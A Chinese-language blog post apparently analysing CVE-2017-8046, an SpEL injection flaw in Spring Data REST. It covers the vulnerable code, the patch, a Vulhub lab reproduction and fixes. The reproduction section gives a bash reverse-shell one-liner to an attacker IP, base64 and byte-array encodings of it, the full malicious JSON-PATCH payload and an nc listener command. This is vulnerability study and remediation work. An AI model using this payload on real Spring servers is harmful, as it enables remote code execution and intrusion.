CVE-2017-8046 漏洞深度分析

漏洞概述

CVE-2017-8046 是 Spring Data REST 框架中的一個高危遠程代碼執行漏洞,影響版本包括 Spring Data REST < 2.5.12、2.6.7、3.0 RC3 及關聯的 Spring Boot 和 Spring Data 舊版本。攻擊者通過構造包含惡意 SpEL(Spring Expression Language)表達式的 PATCH 請求,繞過路徑校驗邏輯,觸發遠程代碼執行。該漏洞的核心問題在于 Spring Data REST 對 path 參數的 SpEL 解析未做充分安全校驗。


技術細節分析

1. 漏洞成因
  • SpEL 表達式注入
    Spring Data REST 在處理 JSON-PATCH 請求時,將用戶輸入的 path 參數直接轉換為 SpEL 表達式,未對輸入內容進行安全過濾。攻擊者可構造惡意 path 參數(如 T(java.lang.Runtime).exec(...)),觸發任意代碼執行。
  • 路徑處理邏輯缺陷
    PatchOperation 類的 pathToSpEL 方法將路徑按 / 分割后拼接為 SpEL 表達式,例如 /admin/price 轉換為 admin.price,但未驗證路徑合法性,導致攻擊者可注入非法的表達式結構。
2. 源碼分析
關鍵代碼 1:PATCH 請求處理入口(JsonPatchHandler.java)
public <T> T apply(IncomingRequest request, T target) throws Exception {if (request.isJsonPatchRequest()) {return applyPatch(request.getBody(), target); // 處理 JSON-PATCH 請求} else {return applyMergePatch(request.getBody(), target);}
}

問題點

  • 請求頭 Content-Type: application/json-patch+json 觸發 applyPatch 分支。
  • request.getBody() 直接讀取未經驗證的請求體內容。
關鍵代碼 2:路徑轉換邏輯(PatchOperation.java)
public PatchOperation(String op, String path, Object value) {this.path = path;this.spelExpression = pathToExpression(path); // 將 path 轉換為 SpEL 表達式
}private static String pathToSpEL(String path) {return pathNodesToSpEL(path.split("\\/")); // 按 "/" 分割路徑
}

問題點

  • 分割后的路徑片段通過 . 拼接為 SpEL 表達式(如 path="/T(Runtime).exec" 轉換為 T(Runtime).exec),未校驗片段合法性。
關鍵代碼 3:SpEL 表達式執行(ReplaceOperation.java)
protected void setValueOnTarget(Object target, Object value) {spelExpression.setValue(target, value); // 執行 SpEL 表達式
}

漏洞觸發點

  • path 包含惡意表達式(如 T(java.lang.Runtime).exec("calc"))時,spelExpression.setValue 觸發代碼執行。
3. 補丁分析

官方修復通過 verifyPath 方法驗證路徑合法性,防止非法表達式注入:

protected Optional<PropertyPath> verifyPath(Class<?> type) {String pathSource = Arrays.stream(path.split("/")).filter(it -> !it.matches("\\d")) // 過濾數字.filter(it -> !it.equals("-"))     // 過濾特殊符號.collect(Collectors.joining("."));return Optional.of(PropertyPath.from(pathSource, type)); // 反射驗證路徑存在性
}

修復效果

  • 非法的路徑(如包含類方法調用的 T(Runtime).exec)因無法通過反射校驗而拋出異常。

漏洞復現

1.環境搭建
  • 使用 Vulhub 環境啟動漏洞靶機:

    cd vulhub/spring/CVE-2017-8046
    docker-compose up -d
    

    在這里插入圖片描述

  • 訪問 http://target:8080/customers/1,確認服務正常運行。
    在這里插入圖片描述

2.攻擊步驟(反彈shell)
  • 制作payload(靶機ip:192.168.1.100;攻擊機ip:192.168.1.102)
   bash -i >& /dev/tcp/192.168.1.102/6666 0>&1

base64編碼

	bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}其中YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==bash -i >& /dev/tcp/192.168.1.102/6666 0>&1 base64編碼

ASCII編碼

&#98;&#97;&#115;&#104;&#32;&#45;&#99;&#123;&#101;&#99;&#104;&#111;&#44;&#89;&#109;&#70;&#122;&#97;&#67;&#65;&#116;&#97;&#83;&#65;&#43;&#74;&#105;&#65;&#118;&#90;&#71;&#86;&#50;&#76;&#51;&#82;&#106;&#99;&#67;&#56;&#120;&#79;&#84;&#73;&#117;&#77;&#84;&#89;&#52;&#76;&#106;&#69;&#117;&#77;&#84;&#73;&#52;&#76;&#122;&#89;&#50;&#78;&#106;&#89;&#103;&#77;&#68;&#52;&#109;&#77;&#81;&#111;&#61;&#125;&#124;&#123;&#98;&#97;&#115;&#101;&#54;&#52;&#44;&#45;&#100;&#125;&#124;&#123;&#98;&#97;&#115;&#104;&#44;&#45;&#105;&#125;

用記事本去掉;&#

98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,84,65,121,76,122,89,50,78,106,89,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

構造最后payload

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,84,65,121,76,122,89,50,78,106,89,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]
  • 攻擊機開啟監聽
    nc -lvvp 6666

在這里插入圖片描述

  • 注入payload

bp抓取訪問/customers/1的數據包
在這里插入圖片描述
GET修改為PATCH,添加 Content-Type: application/json-patch+json字段,將payload添加到最后一行。
在這里插入圖片描述

  • 反彈shsll成功
    在這里插入圖片描述

修復方案

1. 升級版本:

升級至 Spring Data REST 2.5.12+、2.6.7+、3.0 RC3+,修復路徑校驗邏輯。

2. 輸入過濾:

對用戶輸入的 path 參數進行正則匹配,禁止包含 T(...) 等 SpEL 關鍵字。

3. 禁用高風險功能:

若非必要,禁用 JSON-PATCH 方法或限制其使用范圍。


總結

CVE-2017-8046 暴露了 Spring Data REST 在路徑解析與 SpEL 表達式處理上的設計缺陷。其修復方案通過反射驗證路徑合法性,但開發者仍需警惕用戶輸入的直接解析場景,避免類似漏洞。實際開發中,應遵循最小化輸入信任原則,結合框架升級與自定義校驗機制,確保系統安全。


參考鏈接

  1. CVE-2017-8046 官方公告
  2. 漏洞復現與 PoC 構造
  3. 補丁代碼分析
  4. Spring Data REST 遠程代碼執行漏洞(CVE-2017-8046)分析與復現6
  5. CVE-2017-8046 Spring Data Rest 遠程命令執行漏洞

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/80179.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/80179.shtml
英文地址,請注明出處:http://en.pswp.cn/web/80179.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

qt文本邊框設置

// 計算文本的大致尺寸 QFontMetrics fm(textEditor->font()); QRect textRect fm.boundingRect(textItem->toPlainText()); // 設置編輯框大小&#xff0c;增加一些邊距 const int margin 10; textEditor->setGeometry( center.x() - textRect.width()/2 - margin,…

Java 與 面向對象編程(OOP)

Java 是典型的純面向對象編程語言&#xff08;Pure Object-Oriented Language&#xff09;&#xff0c;其設計嚴格遵循面向對象&#xff08;OOP&#xff09;的核心原則。以下是具體分析&#xff1a; 1. Java 的面向對象核心特性 (1) 一切皆對象 Java 中幾乎所有的操作都圍繞…

導出導入Excel文件(詳解-基于EasyExcel)

前言&#xff1a; 近期由于工作的需要&#xff0c;根據需求需要導出導入Excel模板。于是自學了一下下&#xff0c;在此記錄并分享&#xff01;&#xff01; EasyExcel&#xff1a; 首先我要在這里非常感謝阿里的大佬們&#xff01;封裝這么好用的Excel相關的API&#xff0c;真…

python版本管理工具-pyenv輕松切換多個Python版本

在使用python環境開發時&#xff0c;相信肯定被使用版本所煩惱&#xff0c;在用第三方庫時依賴兼容的python版本不一樣&#xff0c;有沒有一個能同時安裝多個python并能自由切換的工具呢&#xff0c;那就是pyenv&#xff0c;讓你可以輕松切換多個Python 版本。 pyenv是什么 p…

Elasticsearch 索引副本數

作者&#xff1a;來自 Elastic Kofi Bartlett 解釋如何配置 number_of_replicas、它的影響以及最佳實踐。 更多閱讀&#xff1a;Elasticsearch 中的一些重要概念: cluster, node, index, document, shards 及 replica 想獲得 Elastic 認證&#xff1f;查看下一期 Elasticsearc…

AXI4總線協議 ------ AXI_LITE協議

一、AXI 相關知識介紹 https://download.csdn.net/download/mvpkuku/90841873 AXI_LITE 選出部分重點&#xff0c;詳細文檔見上面鏈接。 1.AXI4 協議類型 2.握手機制 二、AXI_LITE 協議的實現 1. AXI_LITE 通道及各通道端口功能介紹 2.實現思路及框架 2.1 總體框架 2.2 …

idea運行

各種小kips Linuxidea上傳 Linux 部署流程 1、先在idea打好jar包&#xff0c;clean之后install 2、在Linux目錄下&#xff0c;找到對應項目目錄&#xff0c;把原來的jar包放在bak文件夾里面 3、殺死上一次jar包的pid ps -ef|grep cliaidata.jar kill pid 4、再進行上傳新的jar…

FPGA: XILINX Kintex 7系列器件的架構

本文將詳細介紹Kintex-7系列FPGA器件的架構。以下內容將涵蓋Kintex-7的核心架構特性、主要組成部分以及關鍵技術&#xff0c;盡量全面且結構化&#xff0c;同時用簡潔的語言確保清晰易懂。 Kintex-7系列FPGA架構概述 Kintex-7是Xilinx 7系列FPGA中的中高端產品線&#xff0c;基…

【LLM】大模型落地應用的技術 ——— 推理訓練 MOE,AI搜索 RAG,AI Agent MCP

【LLM】大模型落地應用的技術 ——— 推理訓練MOE&#xff0c;AI搜索RAG&#xff0c;AI Agent MCP 文章目錄 1、推理訓練 MOE2、AI搜索 RAG3、AI Agent MCP 1、推理訓練 MOE MoE 是模型架構革新&#xff0c;解決了算力瓶頸。原理是多個專家模型聯合計算。 推理訓練MoE&#xff…

10 web 自動化之 yaml 數據/日志/截圖

文章目錄 一、yaml 數據獲取二、日志獲取三、截圖 一、yaml 數據獲取 需要安裝 PyYAML 庫 import yaml import os from TestPOM.common import dir_config as Dir import jsonpathclass Data:def __init__(self,keyNone,file_name"test_datas.yaml"):file_path os…

中exec()函數因$imagePath參數導致的命令注入漏洞

exec(zbarimg -q . $imagePath, $barcodeList, $returnVar); 針對PHP中exec()函數因$imagePath參數導致的命令注入漏洞&#xff0c;以下是安全解決方案和最佳實踐&#xff1a; 一、漏洞原理分析 直接拼接用戶輸入$imagePath到系統命令中&#xff0c;攻擊者可通過注入特殊字…

this.$set的用法-響應式數據更新

目錄 一、核心作用 三、使用場景與示例 1. 給對象添加新屬性 四、與 Vue.set 的關系 五、底層原理 六、Vue 3 的替代方案 七、最佳實踐 八、常見問題 Q&#xff1a;為什么修改嵌套對象屬性不需要 $set&#xff1f; Q&#xff1a;$set 和 $forceUpdate 的區別&#xf…

【生成式AI文本生成實戰】DeepSeek系列應用深度解析

目錄 &#x1f31f; 前言&#x1f3d7;? 技術背景與價值&#x1fa79; 當前技術痛點&#x1f6e0;? 解決方案概述&#x1f465; 目標讀者說明 &#x1f9e0; 一、技術原理剖析&#x1f4ca; 核心概念圖解&#x1f4a1; 核心作用講解&#x1f527; 關鍵技術模塊說明?? 技術選…

c/c++的opencv的圖像預處理講解

OpenCV 圖像預處理核心技術詳解 (C/C) 圖像預處理是計算機視覺任務中至關重要的一步。原始圖像往往受到噪聲、光照不均、尺寸不一等多種因素的影響&#xff0c;直接用于后續分析&#xff08;如特征提取、目標檢測、機器學習模型訓練等&#xff09;可能會導致性能下降或結果不準…

使用 Docker 部署 React + Nginx 應用教程

目錄 1. 創建react項目結構2. 創建 .dockerignore3. 創建 Dockerfile4. 創建 nginx.conf5. 構建和運行6. 常用命令 1. 創建react項目結構 2. 創建 .dockerignore # 依賴目錄 node_modules npm-debug.log# 構建輸出 dist build# 開發環境文件 .git .gitignore .env .env.local …

Java 流(Stream)API

一、理論說明 1. 流的定義 Java 流&#xff08;Stream&#xff09;是 Java 8 引入的新特性&#xff0c;用于對集合&#xff08;如 List、Set&#xff09;或數組進行高效的聚合操作&#xff08;如過濾、映射、排序&#xff09;和并行處理。流不存儲數據&#xff0c;而是按需計…

網絡協議分析 實驗七 FTP、HTTP、DHCP

文章目錄 實驗7.1 FTP協議練習二 使用瀏覽器登入FTP練習三 在窗口模式下&#xff0c;上傳/下傳數據文件實驗7.2 HTTP(Hyper Text Transfer Protocol)練習二 頁面提交練習三 訪問比較復雜的主頁實驗7.3 DHCP(Dynamic Host Configuration Protocol) 實驗7.1 FTP協議 dir LIST&…

go語言學習進階

目錄 第一章 go語言中包的使用 一.main包 二.package 三.import 四.goPath環境變量 五.init包初始化 六.管理外部包 第二章 time包 第三章 File文件操作 一.FileInfo接口 二.權限 三.打開模式 四.File操作 五.讀文件 參考1&#xff1a;Golang 中的 bufio 包詳解…

Hue面試內容整理-后端框架

Cloudera 的 Hue 項目在后端采用了成熟的 Python Web 框架 Django,結合其他組件構建了一個可擴展、模塊化的系統,便于與 Hadoop 生態系統中的各個組件集成。以下是 Hue 后端架構的詳細介紹: 后端架構概覽 1. Django Web 框架 Hue 的核心是基于 Django 構建的 Web 應用,負責…

Web-CSS入門

WEB前端&#xff0c;三部分&#xff1a;HTML部分、CSS部分、Javascript部分。 1.HTML部分&#xff1a;主要負責網頁的結構層 2.CSS部分&#xff1a;主要負責網頁的樣式層 3.JS部分&#xff1a;主要負責網頁的行為層 **基本概念** 層疊樣式表&#xff0c;Cascading Style Sh…